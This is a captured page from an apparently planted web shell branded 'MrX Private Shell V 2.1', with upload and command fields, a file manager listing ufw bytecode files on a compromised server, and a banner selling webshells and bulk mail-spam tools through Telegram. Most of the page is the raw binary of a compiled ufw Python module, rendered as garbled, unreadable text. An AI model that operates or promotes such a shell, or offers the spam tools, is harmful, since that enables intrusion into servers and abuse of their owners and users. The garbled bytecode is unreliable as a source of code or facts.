__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

6m�gX��v�SrSSKrSSKrSSKrSSKJr SrSrSr\r	Sr
SrS	rS
r
"SS\5r"S
S5rg)z!common.py: common classes for ufw�N)�debug�ufwz/lib/ufwz/usr/share/ufwz/etcz/usrz	/usr/sbinTc�$�\rSrSrSrSrSrSrg)�UFWError�!z$This class represents ufw exceptionsc��Xlg�N��value)�selfrs  �,/usr/lib/python3/dist-packages/ufw/common.py�__init__�UFWError.__init__#s���
�c�,�[UR5$r	)�reprr�rs r
�__str__�UFWError.__str__&s���D�J�J��rr
N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr�__static_attributes__�rr
rr!s��.�� rrc��\rSrSrSrSSjrSrSrSrSr	Sr
SS	jrS
rSr
SrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrg)�UFWRule�*z$This class represents firewall rulesc
�>�SUlSUlSUlSUlSUlSUlSUlSUlSUlSUl	SUl
SUlSUlSUl
SUlSUlSUlX�lSUlUR'U5 UR)U5 UR+U5 UR+US5 UR-U5 UR/U5 UR1U5 UR3U	5 g![4a ef=f)NF�r�src)�remove�updated�v6�dstr"�dport�sport�protocol�multi�dapp�sapp�action�position�logtype�interface_in�
interface_out�	direction�forward�comment�
set_action�set_protocol�set_port�set_src�set_dst�
set_direction�set_commentr)
rr-r)r'r&r(r"r2r3r4s
          r
r�UFWRule.__init__,s�������������������
���
���
���
���	���	������
������������������
	��O�O�F�#����h�'��M�M�%� ��M�M�%��'��L�L����L�L������y�)����W�%���	��	�s
�B	D�Dc�"�UR5$r	)�format_rulers r
r�UFWRule.__str__Os�����!�!rc��SU-n[UR5nUR5 UHnUSU<SURU<3-
nM U$)zPrint rule to stdoutz'%s'z, �=)�list�__dict__�sort)r�res�keys�ks    r
�_get_attrib�UFWRule._get_attribRsI����o���D�M�M�"���	�	���A���4�=�=��#3�4�4�C���
rc��[URUR5nURUlURUlUR
UlURUlURUlURUlURUl	URUl
URUlURUlURUl
URUlURUlUR UlUR"UlUR$UlUR&UlU$)zReturn a duplicate of a rule)rr-r)r#r$r%r&r"r'r(r*r+r,r.r/r0r1r2r3r4)r�rules  r
�dup_rule�UFWRule.dup_rule[s����t�{�{�D�M�M�2���k�k����|�|����'�'����8�8����8�8����Z�Z��
��Z�Z��
��Z�Z��
��I�I��	��I�I��	��
�
��
��|�|��� �-�-���!�/�/���������|�|����|�|����rc��SnURS:waUSUR--
nURS:waUSUR--
nURS:XaUS-
nO�USUR--
nUR(a�US-
nURS:wa:UR
S:wa*USUR--
nUS-
nUS	UR
--
nOEURS:waUSUR--
nO"UR
S:waUS	UR
--
nURS
:wa"URS:waUSUR--
nUR(d"URS:waUS
UR--
nURS
:wa"URS:waUSUR--
nUR(d"UR
S:waUSUR
--
nSnURS:waSUR-nURS:Xa	USU--
nOOURS:XaUSU--
nURS:XaUS-
nO!URS:Xa	USU--
nOUSU--
nURS:wdURS:wa�Sn[R"S5nURS:wa"USURSUR5--
nURS:waURS:waUS-
nURS:wa"USURSUR5--
nUS -
nUSU--
nUR5$)!zFormat rule for later parsingr!z -i %sz -o %s�anyz -p allz -p z
 -m multiportz
 --dports z
 --sports �	0.0.0.0/0�::/0z -d z	 --dport z -s z	 --sport �_�allowz -j ACCEPT%s�rejectz -j REJECT%s�tcpz --reject-with tcp-reset�limitz -j LIMIT%sz
 -j DROP%sz-m comment --comment '� �dapp_z%20�,�sapp_�')r0r1r)r*r'r(r&r"r/r-r+r,�re�compile�sub�strip)r�rule_str�lstrr4�	pat_spaces     r
r>�UFWRule.format_rulers���������"���D�$5�$5�6�6�H�����#���D�$6�$6�7�7�H��=�=�E�!��	�!�H������.�.�H��z�z��O�+���:�:��&�4�:�:��+>���t�z�z� 9�9�H���/�H���t�z�z� 9�9�H��Z�Z�5�(���t�z�z� 9�9�H��Z�Z�5�(���t�z�z� 9�9�H��8�8�{�"�t�x�x�6�'9������)�)�H��z�z�d�j�j�E�1���d�j�j�0�0�H��8�8�{�"�t�x�x�6�'9������)�)�H��z�z�d�j�j�E�1���d�j�j�0�0�H����<�<�2������%�D��;�;�'�!���$�/�/�H�
�[�[�H�
$���$�/�/�H��}�}��%��6�6���
�[�[�G�
#��
��.�.�H����-�-�H��9�9��?�d�i�i�2�o�.�G��
�
�3��I��y�y�B���7�Y�]�]�5�$�)�)�%D�D�D���y�y�B��4�9�9��?��3����y�y�B���7�Y�]�]�5�$�)�)�%D�D�D���s�N�G���g�
�%�H��~�~��rc���UR5RS5nUSS:XdUSS:Xd	USS:XaUSUlOSUlSn[U5S:�aUSnUR	U5 g	)
zSets action of the rulerRrrSrTrV�denyr!�N)�lower�splitr-�len�set_logtype)rr-�tmpr/s    r
r5�UFWRule.set_action�ss���l�l�n�"�"�3�'���q�6�W���A��(� 2�c�!�f��6G��a�&�D�K� �D�K����s�8�a�<��!�f�G�����!rc���[S5U-nUS:XaGOUS:XaUR(aGO�US:XaUR(aGO�[R"SU5(d[R"SU5(a[U5eUR
S5UR
S5-S	:�a[U5eURS5n[U5S
:�aSUl	SnUGH?n[R"S
U5(atSUl	URS5nUH,n[U5S
:d[U5S:�dM#[U5e [US5[US
5:�a[U5eO�[R"SU5(a*[U5S
:d[U5S:�a[U5eO?[R"SU5(a[R"U5nO[U5eU(aUS[U5--
nGM4[U5nGMB UnUS:Xa[U5Ulg[U5Ulg![a [U5ef=f)z:Sets port and location (destination or source) of the rulez
Bad port '%s'rOr&r"z^[,:]z[,:]$rY�:�rfTr!z	^\d+:\d+$i��rz^\d+$z
^\w[\w\-]+N)rRr+r,r\�matchr�countrhrir*�int�socket�
getservbyname�	Exception�strr(r')	r�port�loc�err_msg�portsrk�p�ran�qs	         r
r7�UFWRule.set_port�s����O�$��-���5�=��
�E�\�d�i�i��
�E�\�d�i�i��
�X�X�h��
%�
%����(�D�)A�)A��7�#�#��j�j��o��
�
�3��/�2�
5��7�#�#��J�J�s�O�E��5�z�A�~�!��
��C����8�8�L�!�,�,�!%�D�J��'�'�#�,�C� ���q�6�A�:��Q��%��"*�7�"3�3�!��3�q�6�{�c�#�a�&�k�1�&�w�/�/�2��X�X�h��*�*��1�v��z�S��V�e�^�&�w�/�/�&4��X�X�m�Q�/�/�0�"�0�0��3��#�7�+�+���3��Q��<�'�C��a�&�C�1�4�D��%�<��T��D�J��T��D�J��%�0�&�w�/�/�0�s� I�I-c��U[RRS/-;aXlg[	S5U-n[U5e)zSets protocol of the rulerOzUnsupported protocol '%s'N)r�util�supported_protocolsr)rRr)rr)rys   r
r6�UFWRule.set_protocol�s;���s�x�x�3�3�u�g�=�=�$�M��3�4��A�G��7�#�#rc���UR(asUR(a'URS:XdURS:XaSUlUR(a)URS:XdURS:XaSUlgggUR(a'URS:XdURS:XaSUlUR(a)URS:XdURS:XaSUlggg)zAdjusts src and dst based on v6rOrPrQN)r%r&r"rs r
�
_fix_anywhere�UFWRule._fix_anywhere�s����7�7��x�x�T�X�X��.�$�(�(�k�2I�!����x�x�T�X�X��.�$�(�(�k�2I�!���3J�x��x�x�T�X�X��.�$�(�(�f�2D�&����x�x�T�X�X��.�$�(�(�f�2D�&���3E�xrc�0�XlUR5 g)zESets whether this is ipv6 rule, and adjusts src and dst
accordingly.
N)r%r�)rr%s  r
�set_v6�UFWRule.set_v6s�������rc���UR5nUS:wa;[RRUS5(d[	S5n[U5eX lUR5 g)zSets source address of rulerOzBad source addressN)rgrr��
valid_addressrRrr"r��r�addrrkrys    r
r8�UFWRule.set_srcsQ���j�j�l���%�<���� 6� 6�s�E� B� B��,�-�G��7�#�#������rc���UR5nUS:wa;[RRUS5(d[	S5n[U5eX lUR5 g)z Sets destination address of rulerOzBad destination addressN)rgrr�r�rRrr&r�r�s    r
r9�UFWRule.set_dstsQ���j�j�l���%�<���� 6� 6�s�E� B� B��1�2�G��7�#�#������rc��US:waUS:wa[S5n[U5eS[U5;a[S5n[U5eS[U5;a[S5n[U5e[U5S:Xd[U5S	:Xa[S
5n[U5e[[U55S:Xa[S5n[U5e[[U55S
:�a[S5n[U5e[R
"S[U55(d[S5n[U5eUS:XaX lgX lg)zSets an interface for rule�in�outzBad interface type�!z+Bad interface name: reserved character: '!'rnz/Bad interface name: can't use interface aliases�.z..z)Bad interface name: can't use '.' or '..'rz+Bad interface name: interface name is empty�z+Bad interface name: interface name too longz^[a-zA-Z0-9_\-\.\+,=%@]+$zBad interface nameN)rRrrvrir\rpr0r1)r�if_type�namerys    r
�
set_interface�UFWRule.set_interface's(���d�?�w�%�/��,�-�G��7�#�#��#�d�)���E�F�G��7�#�#��#�d�)���I�J�G��7�#�#��t�9���s�4�y�D�0��C�D�G��7�#�#���D�	�N�a���E�F�G��7�#�#���D�	�N�R���E�F�G��7�#�#��x�x�4�c�$�i�@�@��,�-�G��7�#�#��d�?� $��!%�rc��[U5S:wa>[R"S[U55(d[S5U-n[	U5e[U5Ulg)zSets the position of the rulez-1z^[0-9]+z,Insert position '%s' is not a valid positionN)rvr\rprRrrrr.)r�numrys   r
�set_position�UFWRule.set_positionWsJ��
�s�8�t��B�H�H�Z��S��$B�$B��F�G�3�O�G��7�#�#��C���
rc��UR5S:XdUR5S:XdUS:XaUR5Ulg[S5U-n[U5e)zSets logtype of the rule�logzlog-allr!zInvalid log type '%s'N)rgr/rRr)rr/rys   r
rj�UFWRule.set_logtypeasL���=�=�?�e�#�w�}�}��)�'C��b�=�"�=�=�?�D�L��/�0�G�<�G��7�#�#rc�Z�US:XdUS:XaXlg[S5U-n[U5e)zSets direction of the ruler�r�zUnsupported direction '%s'N)r2rRr)rr2rys   r
r:�UFWRule.set_directionjs1�����	�U� 2�&�N��4�5��C�G��7�#�#rc�T�[RRUR5$)zGet decoded comment of the rule)rr��
hex_decoder4rs r
�get_comment�UFWRule.get_commentrs���x�x�"�"�4�<�<�0�0rc��Xlg)zSets comment of the ruleN)r4)rr4s  r
r;�UFWRule.set_commentvs���rc��SnUR(aJ[RRURUR5uUlnU(aXlUR(aJ[RRURUR5uUl	nU(aXlUR(aPURRS5n[RRU5 SRU5Ul
UR(aQURRS5n[RRU5 SRU5Ulgg![
a [
S5n[U5ef=f![
a [
S5n[U5ef=f)z&Normalize src and dst to standard formFz"Could not normalize source addressz'Could not normalize destination addressrYN)r"rr��normalize_addressr%rurRrr$r&r'rh�
human_sort�joinr()r�changedryrzs    r
�	normalize�UFWRule.normalizezsO�����8�8�
(�&)�h�h�&@�&@����AE���'J�#���7��&���8�8�
(�&)�h�h�&@�&@����CG�7�7�'L�#���7��&���:�:��J�J�$�$�S�)�E��H�H����&����%��D�J��:�:��J�J�$�$�S�)�E��H�H����&����%��D�J���/�
(��@�A���w�'�'�
(���
(��E�F���w�'�'�
(�s�<E=�0<F!�=!F�!!Gc�&�U(aU(d
[5eSU<SU<S3nURUR:wa[U5 gURUR:wa[U5 gURUR:wa[U5 gUR
UR
:wa[U5 gURUR:wa[U5 gURUR:wa[U5 gURUR:wa[U5 gURUR:wa[U5 gURUR:wa[U5 gURUR:wa[U5 gURUR:wa[U5 gURUR:wa[U5 gURUR:XaKURUR:Xa1UR UR :Xa[#S5n[U5 gURUR:XaKURUR:Xa1UR UR :wa[#S5n[U5 g[#S	5URURURURUR UR S
.-n[U5 g)z�Check if rules match
Return codes:
  0  match
  1  no match
 -1  match all but action, log-type and/or comment
 -2  match all but comment
z
No match 'z' 'r[rfzFound exact matchrz$Found exact match, excepting comment���zZFound non-action/non-logtype/comment match (%(xa)s/%(ya)s/'%(xc)s' %(xl)s/%(yl)s/'%(yc)s'))�xa�ya�xl�yl�xc�yc���)�
ValueErrorr'rr(r)r"r&r%r+r,r0r1r2r3r-r/r4rR)�x�y�dbg_msgs   r
rp�
UFWRule.match�s-�����,���+,�Q�/���7�7�a�g�g���'�N���7�7�a�g�g���'�N���:�:����#��'�N���5�5�A�E�E�>��'�N���5�5�A�E�E�>��'�N���4�4�1�4�4�<��'�N���6�6�Q�V�V���'�N���6�6�Q�V�V���'�N���>�>�Q�^�^�+��'�N���?�?�a�o�o�-��'�N���;�;�!�+�+�%��'�N���9�9��	�	�!��'�N���8�8�q�x�x��A�I�I����$:��	�	�Q�Y�Y�&��+�,�G��'�N���8�8�q�x�x��A�I�I����$:��	�	�Q�Y�Y�&��>�?�G��'�N���F�G��H�H�A�H�H��I�I�Q�Y�Y��I�I�Q�Y�Y�8�9��
	�g��rc���SnU(aU(d
[5eURU5S:XagSU<SUR<SU<SUR<S3	nURS:wa[	SU-S	-5 g
UR
UR
:wa[	US-5 g
URUR:waURS:wa[	S
U-5 g
URS:wa1U"URUR5(d[	SU-5 g
URS:XGa$URS:Xa"URUR5(aGO]URUR:waSUR;a[	SU-5 g
URUR:wa�SUR;a�URUR:Xas[RRURURUR5(d/[	SU-SUR<SUR<S3-5 g
GOkURS:waIURUR:wa/[	SU-SUR<SUR<S3-5 g
[RRURUR5nURU:wa5SUR;a%[	SU-SUR<SU<S3-5 g
URU:wa�SUR;axURUR:Xa^[RRXARUR5(d%[	SU-SU<SUR<S3-5 g
URUR:wa/[	SU-SUR<SUR<S3-5 g
[	SU<SUR<SU<SUR<S3	5 g![a! [	SU-SUR--5 g
f=f)a`This will match if x is more specific than y. Eg, for protocol if x
is tcp and y is all or for address if y is a network and x is a
subset of y (where x is either an address or network). Returns:

 0  match
 1  no match
-1  fuzzy match

This is a fuzzy destination match, so source ports or addresses
are not considered, and (currently) only incoming.
c��SU;dSU;aX:XaggURS5HYnX:Xa gSU;dMURS5up4[U5[U5:�dM?[U5[U5::dMY g g)z:Returns True if p is an exact match or within a multi rulerYrnTF)rhrr)�test_p�to_matchrw�low�highs     r
�_match_ports�-UFWRule.fuzzy_dst_match.<locals>._match_ports�ss���f�}��v�
��%��� ���s�+���>���$�;�"&�*�*�S�/�K�S��6�{�c�#�h�.�3�v�;�#�d�)�3K�#�
,�rrzNo fuzzy match 'z (v6=z)' 'z)'r�z(direction) z (not incoming)rfz (forward does not match)rOz(protocol) z(dport) r!�/z(dst) z ('z' not in network 'z')z(interface) z (z != �)z %s does not existz(v6) z(fuzzy match) 'r�)r�rpr%r2rr3r)r'r0�_is_anywherer&rr��
in_network�get_ip_from_if�IOError)r�r�r�r��if_ips     r
�fuzzy_dst_match�UFWRule.fuzzy_dst_match�sS��	�"���,��
�7�7�1�:��?����q�t�t�Q����&��
�;�;�$���.�7�*�->�>�?��
�9�9��	�	�!��'�7�7�8��
�:�:����#��
�
�e�(;��-�'�)�*��
�7�7�e��L����!�'�'�$B�$B��*�w�&�'���>�>�R���~�~��#����q�u�u�(=�(=�����!�%�%��C�q�u�u�$4��h��(�)�����!�%�%��C�1�5�5�L�Q�T�T�Q�T�T�\��8�8�&�&�q�u�u�a�e�e�Q�T�T�:�:��h��(��u�u�a�e�e�,%�%�&����~�~��#����!�.�.�(H��n�w�.��~�~�q�~�~�27�7�8��
����/�/�������E���u�u��~�#�Q�U�U�"2��n�w�.��u�u�e�2%�%�&�����%��C�1�5�5�L�Q�T�T�Q�T�T�\��8�8�&�&�u�e�e�Q�T�T�:�:��n�w�.�7<�a�e�e�D�E�F���4�4�1�4�4�<��'�G�#�q�u�u�a�e�e�&D�D�E��	�1�a�d�d�A�q�t�t�L�M���+�
��n�w�.�1E��~�~�2'�'�(��
�s�-4P8�8(Q#�"Q#c��US:XdUS:Xagg)zCheck if address is anywhererQrPTFr)rr�s  r
r��UFWRule._is_anywhereNs���6�>�T�[�0��rc���SnURS:wdURS:wGaCUR<SUR<SUR<SUR<3nURS:Xa9UR<SUR<SUR<SUR<3nURS:Xa9UR<SUR<SUR
<SUR<3nURS:Xa$URS:XaUSUR--
nU$URS:waUSUR--
nURS:waUSUR--
nU$)a{Returns a tuple to identify an app rule. Tuple is:
  dapp dst sapp src direction_iface|direction
or
  dport dst sapp src direction_iface|direction
or
  dapp dst sport src direction_iface|direction

where direction_iface is of form 'in_eth0', 'out_eth0' or
'in_eth0 out_eth0' (ie, both interfaces used). If no interfaces are
specified, then tuple ends with the direction instead.
r!rWz %sz in_%sz out_%s)	r+r,r&r"r'r(r0r1r2)r�tupls  r
�
get_app_tuple�UFWRule.get_app_tupleTs�����9�9��?�d�i�i�2�o�$(�I�I�t�x�x����D�H�H�M�D��y�y�B��(,�
�
�D�H�H�d�i�i�)-���3���y�y�B��(,�	�	�4�8�8�T�Z�Z�)-���3��� � �B�&�4�+=�+=��+C������0�0�����$�$��*��H��(9�(9�:�:�D��%�%��+��I��);�);�<�<�D��rc�$�URS:waCURS:wdURS:wa#[S5UR-n[	U5eUR[
RR;a)US:Xa#[S5UR-n[	U5eUR[
RR;aDURS:wdURS:wa#[S5UR-n[	U5egg)zVerify rulerOr!z3Improper rule syntax ('%s' specified with app rule)r%z'Invalid IPv6 address with protocol '%s'zInvalid port with protocol '%s'N)r)r,r+rRrrr��ipv4_only_protocols�portless_protocolsr'r()r�rule_iptyperys   r
�verify�UFWRule.verifyvs����=�=�E�!��I�I��O�t�y�y�B���M�N��=�=�*�G��7�#�#��=�=�C�H�H�8�8�8��$���A�B����(�G��7�#�#��=�=�C�H�H�7�7�7��z�z�U�"�d�j�j�E�&9��=�>�!�]�]�,���w�'�'�':�8r)r-r4r+r2r'r&r3r0r1r/r*r.r)r#r,r(r"r$r%N)rOrPrOrPr�Fr!)r&)rrrrrrrrHrLr>r5r7r6r�r�r8r9r�r�rjr:r�r;r�rpr�r�r�r�rrrr
rr*s���.�:E�GL��!�F"���.A �F"�3#�j$�'����.&�`!�$�$�1��!)�FA�Fl�\� �D(rr)rr\rs�ufw.utilrr�programName�	state_dir�	share_dir�	trans_dir�
config_dir�
prefix_dir�iptables_dir�	do_checksrurrrrr
�<module>r�sV��'�"
�
������	��	��	�
�
�
�
����	� �y� �`	(�`	(r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 143 B 0644
applications.cpython-313.pyc File 7.18 KB 0644
backend.cpython-313.pyc File 30.57 KB 0644
backend_iptables.cpython-313.pyc File 58.33 KB 0644
common.cpython-313.pyc File 27.22 KB 0644
frontend.cpython-313.pyc File 38.58 KB 0644
parser.cpython-313.pyc File 31.12 KB 0644
util.cpython-313.pyc File 40.09 KB 0644
Filemanager